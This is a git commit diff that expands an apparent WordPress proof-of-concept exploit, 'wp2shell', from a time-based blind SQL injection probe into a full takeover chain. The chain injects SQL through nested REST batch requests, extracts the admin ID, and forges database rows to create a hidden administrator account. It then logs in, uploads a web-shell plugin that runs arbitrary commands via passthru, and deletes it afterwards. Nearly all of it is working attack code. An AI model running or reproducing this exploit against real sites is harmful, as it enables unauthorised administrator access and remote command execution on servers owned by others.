mirror of
https://github.com/sergiointel/wp2shell-poc
synced 2026-07-18 19:05:14 +00:00
add command execution poc.
This commit is contained in:
Sergio
@@ -1,93 +1,476 @@
|
||||
#!/usr/bin/env python3
|
||||
import base64
|
||||
import hashlib
|
||||
import html
|
||||
import io
|
||||
import json
|
||||
import re
|
||||
import secrets
|
||||
import statistics
|
||||
import sys
|
||||
import time
|
||||
import urllib.parse
|
||||
import urllib.request
|
||||
import uuid
|
||||
import zipfile
|
||||
from http.cookiejar import CookieJar
|
||||
|
||||
if len(sys.argv) not in (2, 3):
|
||||
raise SystemExit(f'usage: {sys.argv[0]} BASE_URL ["SELECT ..."]')
|
||||
url = sys.argv[1].rstrip("/") + "/?rest_route=/batch/v1"
|
||||
|
||||
def probe(condition):
|
||||
request = urllib.request.Request(
|
||||
url,
|
||||
data=json.dumps(
|
||||
{
|
||||
"requests": [
|
||||
{"method": "POST", "path": "http://:"},
|
||||
{
|
||||
"method": "POST",
|
||||
"path": "/wp/v2/posts",
|
||||
"body": {
|
||||
"requests": [
|
||||
{"method": "GET", "path": "http://:"},
|
||||
{
|
||||
"method": "GET",
|
||||
"path": "/wp/v2/categories?"
|
||||
+ urllib.parse.urlencode(
|
||||
{
|
||||
"author_exclude": "SELECT IF(("
|
||||
+ condition
|
||||
+ "),SLEEP(0.15),0)"
|
||||
}
|
||||
),
|
||||
},
|
||||
{"method": "GET", "path": "/wp/v2/posts"},
|
||||
]
|
||||
},
|
||||
},
|
||||
{"method": "POST", "path": "/batch/v1"},
|
||||
]
|
||||
}
|
||||
).encode(),
|
||||
headers={"Content-Type": "application/json"},
|
||||
method="POST",
|
||||
)
|
||||
started = time.perf_counter()
|
||||
with urllib.request.urlopen(request, timeout=10) as response:
|
||||
response.read()
|
||||
return time.perf_counter() - started
|
||||
if (
|
||||
len(sys.argv) not in (2, 3, 4)
|
||||
or (len(sys.argv) == 4 and sys.argv[2] != "-c")
|
||||
or (len(sys.argv) == 3 and sys.argv[2] == "-c")
|
||||
):
|
||||
raise SystemExit(f'usage: {sys.argv[0]} TARGET_URL ["SELECT ..." | -c COMMAND]')
|
||||
base_url = sys.argv[1].rstrip("/")
|
||||
batch_url = f"{base_url}/?rest_route=/batch/v1"
|
||||
|
||||
|
||||
fast = statistics.median(probe("1=0") for _ in range(3))
|
||||
slow = statistics.median(probe("1=1") for _ in range(3))
|
||||
cutoff = (fast + slow) / 2
|
||||
if slow - fast < 0.1:
|
||||
raise SystemExit(f"[-] instance not vulnerable fastest: {fast:.3f}s \nslow: {slow:.3f}s")
|
||||
|
||||
def send_batch(requests, timeout=30):
|
||||
request = urllib.request.Request(
|
||||
batch_url,
|
||||
data=json.dumps(
|
||||
{
|
||||
"requests": [
|
||||
{"method": "POST", "path": "http://:"},
|
||||
{
|
||||
"method": "POST",
|
||||
"path": "/wp/v2/posts",
|
||||
"body": {"requests": requests},
|
||||
},
|
||||
{"method": "POST", "path": "/batch/v1"},
|
||||
]
|
||||
}
|
||||
).encode(),
|
||||
headers={"Content-Type": "application/json"},
|
||||
method="POST",
|
||||
)
|
||||
with urllib.request.urlopen(request, timeout=timeout) as response:
|
||||
return response.read()
|
||||
|
||||
|
||||
|
||||
sleep_delay = 0.4
|
||||
def probetime(condition):
|
||||
started = time.perf_counter()
|
||||
send_batch(
|
||||
[
|
||||
{"method": "GET", "path": "http://:"},
|
||||
{
|
||||
"method": "GET",
|
||||
"path": "/wp/v2/categories?"
|
||||
+ urllib.parse.urlencode(
|
||||
{"author_exclude": f"SELECT IF(({condition}),SLEEP({sleep_delay}),0)"}
|
||||
),
|
||||
},
|
||||
{"method": "GET", "path": "/wp/v2/posts"},
|
||||
],
|
||||
10,
|
||||
)
|
||||
return time.perf_counter() - started
|
||||
|
||||
|
||||
|
||||
#desync the batch handlers and push the delay above current jitter
|
||||
for _ in range(3):
|
||||
fast_samples = [probetime("1=0") for _ in range(5)]
|
||||
slow_samples = [probetime("1=1") for _ in range(3)]
|
||||
fast = statistics.median(fast_samples)
|
||||
slow = statistics.median(slow_samples)
|
||||
jitter = statistics.median(abs(sample - fast) for sample in fast_samples)
|
||||
if slow - fast > max(0.06, jitter * 8):
|
||||
break
|
||||
sleep_delay *= 2
|
||||
else:
|
||||
raise SystemExit("[-] not vulnerable")
|
||||
threshold = (fast + slow) / 2
|
||||
retry_band = max(0.02, jitter * 3)
|
||||
if len(sys.argv) == 2:
|
||||
print(f"[+] instance vulnerable fastest: {fast:.3f}s \nslow: {slow:.3f}s")
|
||||
raise SystemExit(0)
|
||||
def yes(condition):
|
||||
return probe(condition) > cutoff
|
||||
value = "COALESCE((" + sys.argv[2] + "),'')"
|
||||
low, high = 0, 64
|
||||
print(f"[+] vulnerable: {fast:.3f}s/{slow:.3f}s")
|
||||
raise SystemExit(0)
|
||||
|
||||
def iscondtrue(condition):
|
||||
elapsed = probetime(condition)
|
||||
if abs(elapsed - threshold) > retry_band:
|
||||
return elapsed > threshold
|
||||
return statistics.median([elapsed, probetime(condition), probetime(condition)]) > threshold
|
||||
|
||||
|
||||
|
||||
while low < high:
|
||||
middle = (low + high + 1) // 2
|
||||
if yes("CHAR_LENGTH(" + value + ") >= " + str(middle)):
|
||||
low = middle
|
||||
else:
|
||||
high = middle - 1
|
||||
def getscalar(query, max_length):
|
||||
expression = f"COALESCE(({query}),'')"
|
||||
lower, upper = 0, max_length
|
||||
|
||||
result = ""
|
||||
for position in range(1, low + 1):
|
||||
minimum, maximum = 32, 126
|
||||
while minimum < maximum:
|
||||
middle = (minimum + maximum + 1) // 2
|
||||
if yes(
|
||||
"ASCII(SUBSTRING("
|
||||
+ value
|
||||
+ ","
|
||||
+ str(position)
|
||||
+ ",1)) >= "
|
||||
+ str(middle)
|
||||
):
|
||||
minimum = middle
|
||||
else:
|
||||
maximum = middle - 1
|
||||
result += chr(minimum)
|
||||
print(result, flush=True)
|
||||
while lower < upper:
|
||||
middle = (lower + upper + 1) // 2
|
||||
if iscondtrue(f"CHAR_LENGTH({expression}) >= {middle}"):
|
||||
lower = middle
|
||||
else:
|
||||
upper = middle - 1
|
||||
|
||||
result = ""
|
||||
for position in range(1, lower + 1):
|
||||
lower_byte, upper_byte = 32, 126
|
||||
while lower_byte < upper_byte:
|
||||
middle = (lower_byte + upper_byte + 1) // 2
|
||||
if iscondtrue(
|
||||
f"ASCII(SUBSTRING({expression},{position},1)) >= {middle}"
|
||||
):
|
||||
lower_byte = middle
|
||||
else:
|
||||
upper_byte = middle - 1
|
||||
result += chr(lower_byte)
|
||||
|
||||
return result
|
||||
|
||||
|
||||
def getint(query):
|
||||
expression = f"COALESCE(({query}),0)"
|
||||
lower, upper = 0, 1
|
||||
|
||||
while iscondtrue(f"{expression} >= {upper}"):
|
||||
lower, upper = upper, upper * 2
|
||||
|
||||
while lower < upper:
|
||||
middle = (lower + upper + 1) // 2
|
||||
if iscondtrue(f"{expression} >= {middle}"):
|
||||
lower = middle
|
||||
else:
|
||||
upper = middle - 1
|
||||
|
||||
return lower
|
||||
|
||||
|
||||
if sys.argv[2] != "-c":
|
||||
print(getscalar(sys.argv[2], 64))
|
||||
raise SystemExit(0)
|
||||
|
||||
|
||||
def sql_hex(value):
|
||||
return f"0x{value.encode().hex()}" if value else "''"
|
||||
|
||||
|
||||
def post_row(post_id, content, title, status, name, parent, post_type):
|
||||
return ",".join(
|
||||
(
|
||||
str(post_id),
|
||||
"1",
|
||||
sql_hex("2020-01-01 00:00:00"),
|
||||
sql_hex("2020-01-01 00:00:00"),
|
||||
sql_hex(content),
|
||||
sql_hex(title),
|
||||
"''",
|
||||
sql_hex(status),
|
||||
sql_hex("closed"),
|
||||
sql_hex("closed"),
|
||||
"''",
|
||||
sql_hex(name),
|
||||
"''",
|
||||
"''",
|
||||
sql_hex("2020-01-01 00:00:00"),
|
||||
sql_hex("2020-01-01 00:00:00"),
|
||||
"''",
|
||||
str(parent),
|
||||
"''",
|
||||
"0",
|
||||
sql_hex(post_type),
|
||||
"''",
|
||||
"0",
|
||||
)
|
||||
)
|
||||
|
||||
|
||||
with urllib.request.urlopen(
|
||||
f"{base_url}/?rest_route=/wp/v2/posts&per_page=1&_fields=link",
|
||||
timeout=15,
|
||||
) as response:
|
||||
published_items = json.loads(response.read())
|
||||
|
||||
if not published_items or not published_items[0].get("link"):
|
||||
raise SystemExit("[-] oembed fail")
|
||||
|
||||
#seed 3 oembed posts, so the forged cache objects have database backing.
|
||||
token = secrets.token_hex(6)
|
||||
public_post = urllib.parse.urlsplit(published_items[0]["link"])
|
||||
embed_urls = [
|
||||
urllib.parse.urlunsplit(
|
||||
(
|
||||
public_post.scheme,
|
||||
public_post.netloc,
|
||||
public_post.path,
|
||||
public_post.query,
|
||||
f"{token}{index}",
|
||||
)
|
||||
)
|
||||
for index in range(3)
|
||||
]
|
||||
|
||||
seed_content = "".join(
|
||||
f'[embed width="500" height="750"]{embed_url}[/embed]' for embed_url in embed_urls
|
||||
)
|
||||
seed_query = (
|
||||
"1) AND 1=0 UNION ALL SELECT "
|
||||
+ post_row(0, seed_content, "seed", "publish", "seed", 0, "post")
|
||||
+ " -- -"
|
||||
)
|
||||
send_batch(
|
||||
[
|
||||
{"method": "GET", "path": "http://:"},
|
||||
{
|
||||
"method": "GET",
|
||||
"path": "/wp/v2/widgets?"
|
||||
+ urllib.parse.urlencode(
|
||||
{
|
||||
"author_exclude": seed_query,
|
||||
"per_page": -1,
|
||||
"orderby": "none",
|
||||
"context": "view",
|
||||
}
|
||||
),
|
||||
},
|
||||
{"method": "GET", "path": "/wp/v2/posts"},
|
||||
],
|
||||
60,
|
||||
)
|
||||
|
||||
#recover seeded row IDs through blind SQLi
|
||||
posts_table = getscalar(
|
||||
"SELECT TABLE_NAME "
|
||||
"FROM INFORMATION_SCHEMA.TABLES "
|
||||
"WHERE TABLE_SCHEMA=DATABASE() "
|
||||
"AND RIGHT(TABLE_NAME,6)=0x5f706f737473 "
|
||||
"ORDER BY CHAR_LENGTH(TABLE_NAME),TABLE_NAME LIMIT 1",
|
||||
64,
|
||||
)
|
||||
if not re.fullmatch(r"[A-Za-z0-9_$]+", posts_table):
|
||||
raise SystemExit("[-] SQL failed")
|
||||
|
||||
table_prefix = posts_table[:-5]
|
||||
admin_id = getint(
|
||||
f"SELECT u.ID FROM `{table_prefix}users` u "
|
||||
f"JOIN `{table_prefix}usermeta` m ON m.user_id=u.ID "
|
||||
f"WHERE m.meta_key={sql_hex(table_prefix + 'capabilities')} "
|
||||
"AND INSTR(m.meta_value,"
|
||||
+ sql_hex('s:13:"administrator";b:1;')
|
||||
+ ")>0 "
|
||||
"ORDER BY u.ID LIMIT 1"
|
||||
)
|
||||
if admin_id < 1:
|
||||
raise SystemExit("[-] admin failed")
|
||||
|
||||
embedsize = 'a:2:{s:5:"width";s:3:"500";s:6:"height";s:3:"750";}'
|
||||
cache_post_ids = []
|
||||
|
||||
for embed_url in embed_urls:
|
||||
cache_key = hashlib.md5((embed_url + embedsize).encode()).hexdigest()
|
||||
cache_post_id = getint(
|
||||
f"SELECT ID FROM `{posts_table}` "
|
||||
"WHERE post_type=0x6f656d6265645f6361636865 "
|
||||
f"AND post_name=0x{cache_key.encode().hex()} "
|
||||
"ORDER BY ID DESC LIMIT 1",
|
||||
)
|
||||
if cache_post_id < 1:
|
||||
raise SystemExit("[-] oEmbed failed")
|
||||
cache_post_ids.append(cache_post_id)
|
||||
|
||||
if len(set(cache_post_ids)) != 3:
|
||||
raise SystemExit("[-] oEmbed failed")
|
||||
|
||||
username = f"w2s_{token}"
|
||||
password = f"W2s!{secrets.token_urlsafe(15)}"
|
||||
email = f"{username}@shellcode.lol"
|
||||
outer_loop_id = 1800000000 + secrets.randbelow(100000000)
|
||||
nav_item_id = outer_loop_id + 1
|
||||
inner_loop_id = outer_loop_id + 2
|
||||
|
||||
changeset = json.dumps(
|
||||
{
|
||||
f"nav_menu_item[{nav_item_id}]": {
|
||||
"value": {
|
||||
"object_id": 0,
|
||||
"object": "",
|
||||
"menu_item_parent": 0,
|
||||
"position": 0,
|
||||
"type": "custom",
|
||||
"title": "proof",
|
||||
"url": "https://github.com/sergiointel/wp2shell-poc",
|
||||
"target": "",
|
||||
"attr_title": "",
|
||||
"description": "proof",
|
||||
"classes": "",
|
||||
"xfn": "",
|
||||
"status": "publish",
|
||||
"nav_menu_term_id": 0,
|
||||
"_invalid": False,
|
||||
},
|
||||
"type": "nav_menu_item",
|
||||
"user_id": admin_id,
|
||||
}
|
||||
},
|
||||
separators=(",", ":"),
|
||||
)
|
||||
|
||||
#recast the seeded rows into a changeset, oEmbed trigger, and parse_request hook
|
||||
poisoned_posts = (
|
||||
post_row(0, f'[embed width="500" height="750"]{embed_urls[1]}[/embed]', "trigger", "publish", "trigger", 0, "post"),
|
||||
post_row(cache_post_ids[0], changeset, "changeset", "future", str(uuid.uuid4()), outer_loop_id, "customize_changeset"),
|
||||
post_row(outer_loop_id, "outer", "outer", "draft", "outer", cache_post_ids[0], "post"),
|
||||
post_row(cache_post_ids[1], "", "cache", "publish", "cache", cache_post_ids[0], "post"),
|
||||
post_row(nav_item_id, "nav", "nav", "publish", "nav", cache_post_ids[2], "nav_menu_item"),
|
||||
post_row(cache_post_ids[2], "parse", "parse", "parse", "parse", inner_loop_id, "request"),
|
||||
post_row(inner_loop_id, "inner", "inner", "draft", "inner", cache_post_ids[2], "post"),
|
||||
)
|
||||
escalation_query = (
|
||||
"1) AND 1=0 UNION ALL SELECT " + " UNION ALL SELECT ".join(poisoned_posts) + " -- -"
|
||||
)
|
||||
new_admin = {
|
||||
"username": username,
|
||||
"email": email,
|
||||
"password": password,
|
||||
"roles": ["administrator"],
|
||||
}
|
||||
|
||||
#publish as the extracted admin, then re-enter the same batch, and run user creation
|
||||
send_batch(
|
||||
[
|
||||
{"method": "GET", "path": "http://:"},
|
||||
{
|
||||
"method": "GET",
|
||||
"path": "/wp/v2/widgets?"
|
||||
+ urllib.parse.urlencode(
|
||||
{
|
||||
"author_exclude": escalation_query,
|
||||
"per_page": -1,
|
||||
"orderby": "none",
|
||||
"context": "view",
|
||||
}
|
||||
),
|
||||
},
|
||||
{"method": "GET", "path": "/wp/v2/posts"},
|
||||
{"method": "POST", "path": "/wp/v2/users", "body": new_admin},
|
||||
{"method": "POST", "path": "/wp/v2/users", "body": new_admin},
|
||||
],
|
||||
60,
|
||||
)
|
||||
|
||||
session = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(CookieJar()))
|
||||
session.open(f"{base_url}/wp-login.php", timeout=15).read()
|
||||
login_request = urllib.request.Request(
|
||||
f"{base_url}/wp-login.php",
|
||||
data=urllib.parse.urlencode(
|
||||
{
|
||||
"log": username,
|
||||
"pwd": password,
|
||||
"wp-submit": "Log In",
|
||||
"redirect_to": f"{base_url}/wp-admin/",
|
||||
"testcookie": "1",
|
||||
}
|
||||
).encode(),
|
||||
method="POST",
|
||||
)
|
||||
|
||||
session.open(login_request, timeout=30).read()
|
||||
with session.open(f"{base_url}/wp-admin/users.php", timeout=30) as response:
|
||||
users_page = response.read().decode(errors="replace")
|
||||
|
||||
if username not in users_page:
|
||||
raise SystemExit("[-] admin failed")
|
||||
|
||||
#return command output, and deactivate and unlink
|
||||
plugin_slug = f"sgio-wp2shell-{token}"
|
||||
command_route = secrets.token_hex(12)
|
||||
command_marker = secrets.token_hex(12)
|
||||
plugin_source = f"""<?php
|
||||
/* Plugin Name: {plugin_slug} */
|
||||
add_action('rest_api_init', function () {{
|
||||
register_rest_route('wp2shell/v1', '/{command_route}', array(
|
||||
'methods' => 'POST',
|
||||
'permission_callback' => '__return_true',
|
||||
'callback' => function ($request) {{
|
||||
ob_start();
|
||||
passthru(base64_decode($request->get_param('c')) . ' 2>&1');
|
||||
$output = ob_get_clean();
|
||||
require_once ABSPATH . 'wp-admin/includes/plugin.php';
|
||||
deactivate_plugins(plugin_basename(__FILE__), true);
|
||||
@unlink(__FILE__);
|
||||
return new WP_REST_Response(array(
|
||||
'marker' => '{command_marker}',
|
||||
'output' => $output,
|
||||
));
|
||||
}},
|
||||
));
|
||||
}});
|
||||
""".encode()
|
||||
|
||||
plugin_zip = io.BytesIO()
|
||||
with zipfile.ZipFile(plugin_zip, "w", zipfile.ZIP_DEFLATED) as archive:
|
||||
archive.writestr(f"{plugin_slug}/{plugin_slug}.php", plugin_source)
|
||||
|
||||
with session.open(
|
||||
f"{base_url}/wp-admin/plugin-install.php?tab=upload", timeout=30
|
||||
) as response:
|
||||
upload_page = response.read().decode(errors="replace")
|
||||
|
||||
nonce = re.search(r'name="_wpnonce" value="([^"]+)"', upload_page)
|
||||
if not nonce:
|
||||
raise SystemExit("[-] plugin failed")
|
||||
|
||||
boundary = f"----wp2shell{secrets.token_hex(12)}"
|
||||
multipart = b"".join(
|
||||
(
|
||||
(
|
||||
f"--{boundary}\r\n"
|
||||
'Content-Disposition: form-data; name="_wpnonce"\r\n\r\n'
|
||||
f"{nonce.group(1)}\r\n"
|
||||
).encode(),
|
||||
(
|
||||
f"--{boundary}\r\n"
|
||||
'Content-Disposition: form-data; name="_wp_http_referer"\r\n\r\n'
|
||||
"/wp-admin/plugin-install.php?tab=upload\r\n"
|
||||
).encode(),
|
||||
(
|
||||
f"--{boundary}\r\n"
|
||||
f'Content-Disposition: form-data; name="pluginzip"; filename="{plugin_slug}.zip"\r\n'
|
||||
"Content-Type: application/zip\r\n\r\n"
|
||||
).encode(),
|
||||
plugin_zip.getvalue(),
|
||||
f"\r\n--{boundary}--\r\n".encode(),
|
||||
)
|
||||
)
|
||||
upload_request = urllib.request.Request(
|
||||
f"{base_url}/wp-admin/update.php?action=upload-plugin",
|
||||
data=multipart,
|
||||
headers={"Content-Type": f"multipart/form-data; boundary={boundary}"},
|
||||
method="POST",
|
||||
)
|
||||
|
||||
with session.open(upload_request, timeout=60) as response:
|
||||
install_page = response.read().decode(errors="replace")
|
||||
|
||||
activation_link = re.search(
|
||||
r'href="([^"]*plugins\.php\?action=activate[^"]*)"', install_page
|
||||
)
|
||||
if not activation_link:
|
||||
raise SystemExit("[-] plugin failed")
|
||||
|
||||
session.open(
|
||||
urllib.parse.urljoin(
|
||||
f"{base_url}/wp-admin/", html.unescape(activation_link.group(1))
|
||||
),
|
||||
timeout=30,
|
||||
).read()
|
||||
|
||||
command_request = urllib.request.Request(
|
||||
f"{base_url}/?rest_route=/wp2shell/v1/{command_route}",
|
||||
data=json.dumps({"c": base64.b64encode(sys.argv[3].encode()).decode()}).encode(),
|
||||
headers={"Content-Type": "application/json"},
|
||||
method="POST",
|
||||
)
|
||||
with urllib.request.urlopen(command_request, timeout=60) as response:
|
||||
command_result = json.loads(response.read())
|
||||
|
||||
if command_result.get("marker") != command_marker:
|
||||
raise SystemExit("[-] command failed")
|
||||
|
||||
print(f"[+] administrator: {username}:{password}")
|
||||
print(command_result["output"], end="")
|
||||
|
||||
Reference in New Issue
Block a user